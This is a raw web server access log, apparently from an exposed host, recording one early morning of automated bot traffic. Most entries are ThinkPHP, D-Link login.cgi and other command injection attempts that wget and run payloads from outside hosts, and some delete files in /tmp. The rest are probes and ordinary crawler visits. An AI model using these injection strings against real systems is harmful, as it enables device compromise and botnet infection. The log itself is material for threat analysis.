23.31.55.235 - - [05/Feb/2020:02:14:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
23.31.55.235 - - [05/Feb/2020:02:14:42 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
90.154.122.85 - - [05/Feb/2020:02:14:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
23.31.55.235 - - [05/Feb/2020:02:14:54 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
46.201.255.95 - - [05/Feb/2020:02:15:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
23.31.55.235 - - [05/Feb/2020:02:15:18 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
185.20.247.193 - - [05/Feb/2020:02:15:32 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.251.142.64 - - [05/Feb/2020:02:15:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
201.189.4.59 - - [05/Feb/2020:02:15:59 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
217.76.42.78 - - [05/Feb/2020:02:19:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
58.187.209.32 - - [05/Feb/2020:02:21:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.181.178.60 - - [05/Feb/2020:02:22:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.91.105.20 - - [05/Feb/2020:02:22:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.91.40.97 - - [05/Feb/2020:02:24:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
191.242.246.246 - - [05/Feb/2020:02:25:55 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
179.127.117.22 - - [05/Feb/2020:02:27:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
109.117.198.174 - - [05/Feb/2020:02:28:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
46.166.187.111 - - [05/Feb/2020:02:28:33 +0100] "GET ../../proc/ HTTP" 400 329 "-" "-"
42.115.164.64 - - [05/Feb/2020:02:30:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.70.246.74 - - [05/Feb/2020:02:32:04 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
77.247.110.15 - - [05/Feb/2020:02:33:52 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:02:33:56 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
42.118.127.203 - - [05/Feb/2020:02:34:12 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
188.194.41.136 - - [05/Feb/2020:02:34:41 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
77.247.110.15 - - [05/Feb/2020:02:35:37 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:02:35:40 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:02:36:01 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:02:36:20 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:02:36:23 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
77.247.110.15 - - [05/Feb/2020:02:36:24 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
94.81.7.43 - - [05/Feb/2020:02:36:41 +0100] "GET /card_scan_decoder.php?No=30&door=%60wget http://switchnets.net/hoho.arm7; chmod 777 hoho.arm7; ./hoho.arm7 linear%60 HTTP/1.1" 400 341 "-" "dark_NeXus_Qbot/4.0 (compatible; MSIE5.01; minerword NT)"
77.247.110.15 - - [05/Feb/2020:02:37:54 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
42.117.184.190 - - [05/Feb/2020:02:37:56 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
31.193.91.39 - - [05/Feb/2020:02:38:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.247.110.15 - - [05/Feb/2020:02:38:28 +0100] "\x16\x03\x01\x018\x01" 501 321 "-" "-"
71.6.232.4 - - [05/Feb/2020:02:39:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
1.52.147.227 - - [05/Feb/2020:02:43:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
110.137.246.170 - - [05/Feb/2020:02:45:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
221.125.44.233 - - [05/Feb/2020:02:46:26 +0100] "GET /login.cgi?cli=aa%20aa%27;rm -rf /tmp/ff;wget%20http://158.69.236.40/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 404 310 "-" "DEMONS/2.0"
151.73.124.152 - - [05/Feb/2020:02:49:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
183.80.224.78 - - [05/Feb/2020:02:49:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
151.73.124.152 - - [05/Feb/2020:02:49:36 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
27.216.245.215 - - [05/Feb/2020:02:50:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
90.154.122.85 - - [05/Feb/2020:02:51:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.231.158.206 - - [05/Feb/2020:02:51:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.240.174 - - [05/Feb/2020:02:53:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
123.132.156.225 - - [05/Feb/2020:02:53:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.84.40.253 - - [05/Feb/2020:02:54:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
42.117.20.235 - - [05/Feb/2020:02:57:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.108.66.64 - - [05/Feb/2020:02:58:38 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
42.114.181.141 - - [05/Feb/2020:03:01:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.238.136.36 - - [05/Feb/2020:03:02:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.71.143.108 - - [05/Feb/2020:03:04:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.242.9 - - [05/Feb/2020:03:08:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [05/Feb/2020:03:08:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
91.203.193.47 - - [05/Feb/2020:03:08:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.14.165 - - [05/Feb/2020:03:08:39 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
82.160.150.92 - - [05/Feb/2020:03:10:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.108.66.64 - - [05/Feb/2020:03:10:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 zgrab/0.x"
157.55.39.68 - - [05/Feb/2020:03:10:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)"
42.119.18.247 - - [05/Feb/2020:03:16:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.227.247.245 - - [05/Feb/2020:03:17:08 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
62.227.247.245 - - [05/Feb/2020:03:17:25 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
62.227.247.245 - - [05/Feb/2020:03:17:46 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
62.227.247.245 - - [05/Feb/2020:03:19:29 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
62.227.247.245 - - [05/Feb/2020:03:19:31 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
94.130.175.168 - - [05/Feb/2020:03:20:08 +0100] "GET /robots.txt HTTP/1.1" 404 327 "-" "SeobilityBot (SEO Tool; https://www.seobility.net/sites/bot.html)"
94.130.175.168 - - [05/Feb/2020:03:20:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "SeobilityBot (SEO Tool; https://www.seobility.net/sites/bot.html)"
62.227.247.245 - - [05/Feb/2020:03:20:57 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
62.227.247.245 - - [05/Feb/2020:03:21:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
62.227.247.245 - - [05/Feb/2020:03:21:44 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
62.227.247.245 - - [05/Feb/2020:03:22:17 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.116.224.193 - - [05/Feb/2020:03:26:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
62.227.247.245 - - [05/Feb/2020:03:26:10 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
202.40.191.115 - - [05/Feb/2020:03:26:12 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:03:26:12 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:03:26:12 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:03:26:13 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:03:26:13 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:03:26:13 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:03:26:14 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:03:26:14 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
202.40.191.115 - - [05/Feb/2020:03:26:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
195.69.197.62 - - [05/Feb/2020:03:27:20 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
169.197.108.6 - - [05/Feb/2020:03:30:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
117.90.201.153 - - [05/Feb/2020:03:32:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
138.201.46.62 - - [05/Feb/2020:03:34:46 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
14.35.19.181 - - [05/Feb/2020:03:35:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.174.213 - - [05/Feb/2020:03:37:56 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.207.195.52 - - [05/Feb/2020:03:38:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.204.64.17 - - [05/Feb/2020:03:38:35 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
92.85.42.224 - - [05/Feb/2020:03:40:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
94.51.11.186 - - [05/Feb/2020:03:43:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.102.100.157 - - [05/Feb/2020:03:44:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
47.89.233.29 - - [05/Feb/2020:03:45:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
198.211.10.10 - - [05/Feb/2020:03:45:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
42.117.20.112 - - [05/Feb/2020:03:46:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.52.179.123 - - [05/Feb/2020:03:49:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.33.157.57 - - [05/Feb/2020:03:50:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
177.33.157.57 - - [05/Feb/2020:03:50:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
117.222.229.74 - - [05/Feb/2020:03:50:22 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.119.107.83 - - [05/Feb/2020:03:50:51 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
101.99.174.8 - - [05/Feb/2020:03:51:51 +0100] "GET /phpmyadmin/ HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
198.211.10.10 - - [05/Feb/2020:03:53:02 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
68.132.112.190 - - [05/Feb/2020:03:53:57 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.52.147.227 - - [05/Feb/2020:03:55:17 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.76.57.113 - - [05/Feb/2020:03:56:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
158.51.54.162 - - [05/Feb/2020:03:57:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.15.26 - - [05/Feb/2020:03:57:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.163.160 - - [05/Feb/2020:04:00:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
77.31.254.47 - - [05/Feb/2020:04:02:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
62.85.83.121 - - [05/Feb/2020:04:05:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
